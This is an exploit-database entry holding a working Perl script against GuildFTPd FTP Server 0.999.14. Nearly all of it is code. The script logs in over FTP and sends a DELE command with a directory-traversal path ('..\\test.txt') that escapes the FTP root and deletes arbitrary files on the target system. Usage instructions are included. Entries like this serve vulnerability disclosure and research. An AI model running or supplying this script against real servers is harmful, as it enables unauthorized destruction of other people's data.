GuildFTPd FTP Server 0.999.14 Remote Delete Files Exploit

2009-03-10T00:00:00
ID 1337DAY-ID-9392
Type zdt
Reporter Jonathan Salwan
Modified 2009-03-10T00:00:00

Description

Exploit for unknown platform in category remote exploits

                                        
                                            =========================================================
GuildFTPd FTP Server 0.999.14 Remote Delete Files Exploit
=========================================================




#!/usr/bin/perl
# Exploit: GuildFTPd FTP Server Version 0.x.x Remote Delete Files
#
# 
# 2) A vulnerability is caused due to an input validation error when handling FTP "DELE" 
# requests. This can be exploited to escape the FTP root and delete arbitrary files on 
# the system via directory traversal attacks using the "\.." character sequence.



use IO::Socket;
print "[+] Author : Jonathan Salwan \n";
print "[+] Soft: Guild FTP Server V0.x.x\n";
print "[+] Exploit: Remote Delete File\n";

	if (@ARGV < 5)
		{
 		print "[*] Usage: <guildftp.pl> <host> <port> <login> <password> <file>\n";
 		print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan salwan ..\\\\test.txt\n";
 		exit;
		}

	$ip = $ARGV[0];
	$port = $ARGV[1];
	$user = $ARGV[2];
	$pass = $ARGV[3];
	$file = $ARGV[4];

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";

print "\n[+] Connecting: Ok!\n";
print "[+] Sending request...\n";

	print $socket "USER $user\n";
	print $socket "PASS $pass\n";
	print $socket "DELE $file\n";

		sleep(5);
		close($socket);

print "[+]Done!\n";



#  0day.today [2016-04-20]  #